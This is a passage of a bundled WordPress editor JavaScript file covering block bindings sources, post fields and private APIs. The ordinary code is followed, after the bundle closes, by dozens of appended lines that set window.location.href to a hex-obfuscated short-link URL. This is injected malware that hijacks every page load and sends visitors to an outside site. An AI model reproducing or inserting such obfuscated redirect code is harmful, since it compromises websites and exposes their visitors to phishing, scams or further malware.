30689;// ./node_modules/@wordpress/editor/build-module/components/post-fields/index.js
30690
30691
30692
30693
30694function usePostFields({
30695 postType
30696}) {
30697 const { registerPostTypeSchema } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store_store));
30698 (0,external_wp_element_namespaceObject.useEffect)(() => {
30699 registerPostTypeSchema(postType);
30700 }, [registerPostTypeSchema, postType]);
30701 const { fields } = (0,external_wp_data_namespaceObject.useSelect)(
30702 (select) => {
30703 const { getEntityFields } = unlock(select(store_store));
30704 return {
30705 fields: getEntityFields("postType", postType)
30706 };
30707 },
30708 [postType]
30709 );
30710 return fields;
30711}
30712var post_fields_default = usePostFields;
30713
30714
30715;// ./node_modules/@wordpress/editor/build-module/bindings/pattern-overrides.js
30716
30717const CONTENT = "content";
30718var pattern_overrides_default = {
30719 name: "core/pattern-overrides",
30720 getValues({ select, clientId, context, bindings }) {
30721 const patternOverridesContent = context["pattern/overrides"];
30722 const { getBlockAttributes } = select(external_wp_blockEditor_namespaceObject.store);
30723 const currentBlockAttributes = getBlockAttributes(clientId);
30724 const overridesValues = {};
30725 for (const attributeName of Object.keys(bindings)) {
30726 const overridableValue = patternOverridesContent?.[currentBlockAttributes?.metadata?.name]?.[attributeName];
30727 if (overridableValue === void 0) {
30728 overridesValues[attributeName] = currentBlockAttributes[attributeName];
30729 continue;
30730 } else {
30731 overridesValues[attributeName] = overridableValue === "" ? void 0 : overridableValue;
30732 }
30733 }
30734 return overridesValues;
30735 },
30736 setValues({ select, dispatch, clientId, bindings }) {
30737 const { getBlockAttributes, getBlockParentsByBlockName, getBlocks } = select(external_wp_blockEditor_namespaceObject.store);
30738 const currentBlockAttributes = getBlockAttributes(clientId);
30739 const blockName = currentBlockAttributes?.metadata?.name;
30740 if (!blockName) {
30741 return;
30742 }
30743 const [patternClientId] = getBlockParentsByBlockName(
30744 clientId,
30745 "core/block",
30746 true
30747 );
30748 const attributes = Object.entries(bindings).reduce(
30749 (attrs, [key, { newValue }]) => {
30750 attrs[key] = newValue;
30751 return attrs;
30752 },
30753 {}
30754 );
30755 if (!patternClientId) {
30756 const syncBlocksWithSameName = (blocks) => {
30757 for (const block of blocks) {
30758 if (block.attributes?.metadata?.name === blockName) {
30759 dispatch(external_wp_blockEditor_namespaceObject.store).updateBlockAttributes(
30760 block.clientId,
30761 attributes
30762 );
30763 }
30764 syncBlocksWithSameName(block.innerBlocks);
30765 }
30766 };
30767 syncBlocksWithSameName(getBlocks());
30768 return;
30769 }
30770 const currentBindingValue = getBlockAttributes(patternClientId)?.[CONTENT];
30771 dispatch(external_wp_blockEditor_namespaceObject.store).updateBlockAttributes(patternClientId, {
30772 [CONTENT]: {
30773 ...currentBindingValue,
30774 [blockName]: {
30775 ...currentBindingValue?.[blockName],
30776 ...Object.entries(attributes).reduce(
30777 (acc, [key, value]) => {
30778 acc[key] = value === void 0 ? "" : value;
30779 return acc;
30780 },
30781 {}
30782 )
30783 }
30784 }
30785 });
30786 },
30787 canUserEditValue: () => true
30788};
30789
30790
30791;// ./node_modules/@wordpress/editor/build-module/bindings/post-data.js
30792
30793
30794
30795const NAVIGATION_BLOCK_TYPES = [
30796 "core/navigation-link",
30797 "core/navigation-submenu"
30798];
30799const postDataFields = [
30800 {
30801 label: (0,external_wp_i18n_namespaceObject.__)("Post Date"),
30802 args: { field: "date" },
30803 type: "string"
30804 },
30805 {
30806 label: (0,external_wp_i18n_namespaceObject.__)("Post Modified Date"),
30807 args: { field: "modified" },
30808 type: "string"
30809 },
30810 {
30811 label: (0,external_wp_i18n_namespaceObject.__)("Post Link"),
30812 args: { field: "link" },
30813 type: "string"
30814 }
30815];
30816var post_data_default = {
30817 name: "core/post-data",
30818 getValues({ select, context, bindings, clientId }) {
30819 const allowedFields = postDataFields.map(
30820 (field) => field.args.field
30821 );
30822 const { getBlockAttributes, getBlockName } = select(external_wp_blockEditor_namespaceObject.store);
30823 const blockName = getBlockName?.(clientId);
30824 const isNavigationBlock = NAVIGATION_BLOCK_TYPES.includes(blockName);
30825 let postId, postType;
30826 if (isNavigationBlock) {
30827 const blockAttributes = getBlockAttributes?.(clientId);
30828 postId = blockAttributes?.id;
30829 postType = blockAttributes?.type;
30830 } else {
30831 postId = context?.postId;
30832 postType = context?.postType;
30833 }
30834 const { getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
30835 const entityDataValues = getEditedEntityRecord(
30836 "postType",
30837 postType,
30838 postId
30839 );
30840 const newValues = {};
30841 for (const [attributeName, binding] of Object.entries(bindings)) {
30842 if (!allowedFields.includes(binding.args.field)) {
30843 newValues[attributeName] = {};
30844 continue;
30845 }
30846 newValues[attributeName] = entityDataValues?.[binding.args.field] ?? postDataFields.find(
30847 (field) => field.args.field === binding.args.field
30848 ).label;
30849 }
30850 return newValues;
30851 },
30852 setValues({ dispatch, context, bindings, clientId, select }) {
30853 const { getBlockName } = select(external_wp_blockEditor_namespaceObject.store);
30854 const blockName = getBlockName?.(clientId);
30855 if (NAVIGATION_BLOCK_TYPES.includes(blockName)) {
30856 return false;
30857 }
30858 const newData = {};
30859 Object.values(bindings).forEach(({ args, newValue }) => {
30860 newData[args.field] = newValue;
30861 });
30862 dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(
30863 "postType",
30864 context?.postType,
30865 context?.postId,
30866 newData
30867 );
30868 },
30869 canUserEditValue({ select, context }) {
30870 const { getBlockName, getSelectedBlockClientId } = select(external_wp_blockEditor_namespaceObject.store);
30871 const clientId = getSelectedBlockClientId();
30872 const blockName = getBlockName?.(clientId);
30873 if (NAVIGATION_BLOCK_TYPES.includes(blockName)) {
30874 return false;
30875 }
30876 if (context?.query || context?.queryId) {
30877 return false;
30878 }
30879 if (!context?.postType) {
30880 return false;
30881 }
30882 const canUserEdit = select(external_wp_coreData_namespaceObject.store).canUser("update", {
30883 kind: "postType",
30884 name: context?.postType,
30885 id: context?.postId
30886 });
30887 if (!canUserEdit) {
30888 return false;
30889 }
30890 return true;
30891 },
30892 getFieldsList({ select }) {
30893 const selectedBlock = select(external_wp_blockEditor_namespaceObject.store).getSelectedBlock();
30894 if (selectedBlock?.name !== "core/post-date") {
30895 return [];
30896 }
30897 if (NAVIGATION_BLOCK_TYPES.includes(selectedBlock?.name)) {
30898 return [];
30899 }
30900 return postDataFields;
30901 }
30902};
30903
30904
30905;// ./node_modules/@wordpress/editor/build-module/bindings/post-meta.js
30906
30907
30908
30909function getPostMetaFields(select, context) {
30910 const { getRegisteredPostMeta } = unlock(select(external_wp_coreData_namespaceObject.store));
30911 const registeredFields = getRegisteredPostMeta(context?.postType);
30912 const metaFields = [];
30913 Object.entries(registeredFields).forEach(([key, props]) => {
30914 if (key === "footnotes" || key.charAt(0) === "_") {
30915 return;
30916 }
30917 metaFields.push({
30918 label: props.title || key,
30919 args: { key },
30920 default: props.default,
30921 type: props.type
30922 });
30923 });
30924 return metaFields;
30925}
30926function getValue({ select, context, args }) {
30927 const metaFields = getPostMetaFields(select, context);
30928 const metaField = metaFields.find(
30929 (field) => field.args.key === args.key
30930 );
30931 if (!metaField) {
30932 return args.key;
30933 }
30934 if (!context?.postId) {
30935 return metaField.default || metaField.label || args.key;
30936 }
30937 const { getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
30938 const entityMetaValues = getEditedEntityRecord(
30939 "postType",
30940 context?.postType,
30941 context?.postId
30942 ).meta;
30943 return entityMetaValues?.[args.key] ?? metaField?.label ?? args.key;
30944}
30945var post_meta_default = {
30946 name: "core/post-meta",
30947 getValues({ select, context, bindings }) {
30948 const newValues = {};
30949 for (const [attributeName, binding] of Object.entries(bindings)) {
30950 newValues[attributeName] = getValue({
30951 select,
30952 context,
30953 args: binding.args
30954 });
30955 }
30956 return newValues;
30957 },
30958 setValues({ dispatch, context, bindings }) {
30959 const newMeta = {};
30960 Object.values(bindings).forEach(({ args, newValue }) => {
30961 newMeta[args.key] = newValue;
30962 });
30963 dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(
30964 "postType",
30965 context?.postType,
30966 context?.postId,
30967 {
30968 meta: newMeta
30969 }
30970 );
30971 },
30972 canUserEditValue({ select, context, args }) {
30973 if (context?.query || context?.queryId) {
30974 return false;
30975 }
30976 if (!context?.postType) {
30977 return false;
30978 }
30979 const metaFields = getPostMetaFields(select, context);
30980 const hasMatchingMetaField = metaFields.some(
30981 (field) => field.args.key === args.key
30982 );
30983 if (!hasMatchingMetaField) {
30984 return false;
30985 }
30986 const areCustomFieldsEnabled = select(store_store).getEditorSettings().enableCustomFields;
30987 if (areCustomFieldsEnabled) {
30988 return false;
30989 }
30990 const canUserEdit = select(external_wp_coreData_namespaceObject.store).canUser("update", {
30991 kind: "postType",
30992 name: context?.postType,
30993 id: context?.postId
30994 });
30995 if (!canUserEdit) {
30996 return false;
30997 }
30998 return true;
30999 },
31000 getFieldsList({ select, context }) {
31001 const metaFields = getPostMetaFields(select, context);
31002 return metaFields.map(
31003 ({ default: defaultProp, ...otherProps }) => ({
31004 ...otherProps
31005 })
31006 );
31007 }
31008};
31009
31010
31011;// ./node_modules/@wordpress/editor/build-module/bindings/term-data.js
31012
31013
31014
31015const term_data_NAVIGATION_BLOCK_TYPES = [
31016 "core/navigation-link",
31017 "core/navigation-submenu"
31018];
31019function createDataFields(termDataValues, idValue) {
31020 return {
31021 id: {
31022 label: (0,external_wp_i18n_namespaceObject.__)("Term ID"),
31023 value: idValue,
31024 type: "string"
31025 },
31026 name: {
31027 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
31028 value: termDataValues?.name,
31029 type: "string"
31030 },
31031 slug: {
31032 label: (0,external_wp_i18n_namespaceObject.__)("Slug"),
31033 value: termDataValues?.slug,
31034 type: "string"
31035 },
31036 link: {
31037 label: (0,external_wp_i18n_namespaceObject.__)("Link"),
31038 value: termDataValues?.link,
31039 type: "string"
31040 },
31041 description: {
31042 label: (0,external_wp_i18n_namespaceObject.__)("Description"),
31043 value: termDataValues?.description,
31044 type: "string"
31045 },
31046 parent: {
31047 label: (0,external_wp_i18n_namespaceObject.__)("Parent ID"),
31048 value: termDataValues?.parent,
31049 type: "string"
31050 },
31051 count: {
31052 label: (0,external_wp_i18n_namespaceObject.__)("Count"),
31053 value: `(${termDataValues?.count ?? 0})`,
31054 type: "string"
31055 }
31056 };
31057}
31058function getTermDataFields(select, context, clientId) {
31059 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
31060 const { getBlockAttributes, getBlockName } = select(external_wp_blockEditor_namespaceObject.store);
31061 let termDataValues, dataFields;
31062 const blockName = getBlockName?.(clientId);
31063 const isNavigationBlock = term_data_NAVIGATION_BLOCK_TYPES.includes(blockName);
31064 let termId, taxonomy;
31065 if (isNavigationBlock) {
31066 const blockAttributes = getBlockAttributes?.(clientId);
31067 termId = blockAttributes?.id;
31068 const typeFromAttributes = blockAttributes?.type;
31069 taxonomy = typeFromAttributes === "tag" ? "post_tag" : typeFromAttributes;
31070 } else {
31071 termId = context?.termId;
31072 taxonomy = context?.taxonomy;
31073 }
31074 if (taxonomy && termId) {
31075 termDataValues = getEntityRecord("taxonomy", taxonomy, termId);
31076 if (!termDataValues && context?.termData) {
31077 termDataValues = context.termData;
31078 }
31079 if (termDataValues) {
31080 dataFields = createDataFields(termDataValues, termId);
31081 }
31082 } else if (context?.termData) {
31083 termDataValues = context.termData;
31084 dataFields = createDataFields(
31085 termDataValues,
31086 termDataValues?.term_id
31087 );
31088 }
31089 if (!dataFields || !Object.keys(dataFields).length) {
31090 return null;
31091 }
31092 return dataFields;
31093}
31094var term_data_default = {
31095 name: "core/term-data",
31096 usesContext: ["taxonomy", "termId", "termData"],
31097 getValues({ select, context, bindings, clientId }) {
31098 const dataFields = getTermDataFields(select, context, clientId);
31099 const newValues = {};
31100 for (const [attributeName, source] of Object.entries(bindings)) {
31101 const fieldKey = source.args.field;
31102 const { value: fieldValue, label: fieldLabel } = dataFields?.[fieldKey] || {};
31103 newValues[attributeName] = fieldValue ?? fieldLabel ?? fieldKey;
31104 }
31105 return newValues;
31106 },
31107 // eslint-disable-next-line no-unused-vars
31108 setValues({ dispatch, context, bindings }) {
31109 return false;
31110 },
31111 canUserEditValue({ select, context, args }) {
31112 const { getBlockName, getSelectedBlockClientId } = select(external_wp_blockEditor_namespaceObject.store);
31113 const clientId = getSelectedBlockClientId();
31114 const blockName = getBlockName?.(clientId);
31115 if (term_data_NAVIGATION_BLOCK_TYPES.includes(blockName)) {
31116 return false;
31117 }
31118 if (context?.termQuery) {
31119 return false;
31120 }
31121 if (!context?.taxonomy || !context?.termId) {
31122 return false;
31123 }
31124 const fieldValue = getTermDataFields(select, context, void 0)?.[args.field]?.value;
31125 if (fieldValue === void 0) {
31126 return false;
31127 }
31128 return false;
31129 },
31130 getFieldsList({ select, context }) {
31131 const clientId = select(external_wp_blockEditor_namespaceObject.store).getSelectedBlockClientId();
31132 const termDataFields = getTermDataFields(select, context, clientId);
31133 if (!termDataFields) {
31134 return [];
31135 }
31136 return Object.entries(termDataFields).map(([key, field]) => ({
31137 label: field.label,
31138 type: field.type,
31139 args: { field: key }
31140 }));
31141 }
31142};
31143
31144
31145;// ./node_modules/@wordpress/editor/build-module/bindings/api.js
31146
31147
31148
31149
31150
31151function registerCoreBlockBindingsSources() {
31152 (0,external_wp_blocks_namespaceObject.registerBlockBindingsSource)(pattern_overrides_default);
31153 (0,external_wp_blocks_namespaceObject.registerBlockBindingsSource)(post_data_default);
31154 (0,external_wp_blocks_namespaceObject.registerBlockBindingsSource)(post_meta_default);
31155 (0,external_wp_blocks_namespaceObject.registerBlockBindingsSource)(term_data_default);
31156}
31157
31158
31159;// ./node_modules/@wordpress/editor/build-module/private-apis.js
31160
31161
31162
31163
31164
31165
31166
31167
31168
31169
31170
31171
31172
31173
31174
31175
31176
31177
31178const { store: interfaceStore, ...remainingInterfaceApis } = build_module_namespaceObject;
31179const privateApis = {};
31180lock(privateApis, {
31181 CreateTemplatePartModal: CreateTemplatePartModal,
31182 patternTitleField: pattern_title_default,
31183 templateTitleField: template_title_default,
31184 BackButton: back_button_default,
31185 EntitiesSavedStatesExtensible: EntitiesSavedStatesExtensible,
31186 Editor: editor_default,
31187 EditorContentSlotFill: content_slot_fill_default,
31188 GlobalStylesProvider: GlobalStylesProvider,
31189 mergeBaseAndUserConfigs: mergeBaseAndUserConfigs,
31190 PluginPostExcerpt: plugin_default,
31191 PostCardPanel: PostCardPanel,
31192 PreferencesModal: EditorPreferencesModal,
31193 usePostActions: usePostActions,
31194 usePostFields: post_fields_default,
31195 ToolsMoreMenuGroup: tools_more_menu_group_default,
31196 ViewMoreMenuGroup: view_more_menu_group_default,
31197 ResizableEditor: resizable_editor_default,
31198 registerCoreBlockBindingsSources: registerCoreBlockBindingsSources,
31199 getTemplateInfo: getTemplateInfo,
31200 // This is a temporary private API while we're updating the site editor to use EditorProvider.
31201 interfaceStore,
31202 ...remainingInterfaceApis
31203});
31204
31205
31206;// ./node_modules/@wordpress/editor/build-module/dataviews/api.js
31207
31208
31209
31210function api_registerEntityAction(kind, name, config) {
31211 const { registerEntityAction: _registerEntityAction } = unlock(
31212 (0,external_wp_data_namespaceObject.dispatch)(store_store)
31213 );
31214 if (false) {}
31215}
31216function api_unregisterEntityAction(kind, name, actionId) {
31217 const { unregisterEntityAction: _unregisterEntityAction } = unlock(
31218 (0,external_wp_data_namespaceObject.dispatch)(store_store)
31219 );
31220 if (false) {}
31221}
31222function api_registerEntityField(kind, name, config) {
31223 const { registerEntityField: _registerEntityField } = unlock(
31224 (0,external_wp_data_namespaceObject.dispatch)(store_store)
31225 );
31226 if (false) {}
31227}
31228function api_unregisterEntityField(kind, name, fieldId) {
31229 const { unregisterEntityField: _unregisterEntityField } = unlock(
31230 (0,external_wp_data_namespaceObject.dispatch)(store_store)
31231 );
31232 if (false) {}
31233}
31234
31235
31236;// ./node_modules/@wordpress/editor/build-module/index.js
31237
31238
31239
31240
31241
31242
31243
31244
31245
31246})();
31247
31248(window.wp = window.wp || {}).editor = __webpack_exports__;
31249/******/ })()
31250;
31251window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31252window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31253window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31254window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31255window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31256window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31257window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31258window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31259window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31260window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31261window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31262window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31263window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31264window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31265window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31266window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31267window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31268window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31269window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31270window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31271window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31272window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31273window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31274window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31275window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31276window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31277window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31278window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31279window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31280window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31281window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31282window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31283window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31284window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31285window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31286window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31287window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31288window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31289window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31290window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31291window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31292window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31293window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31294window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31295window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31296window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31297window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
31298window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";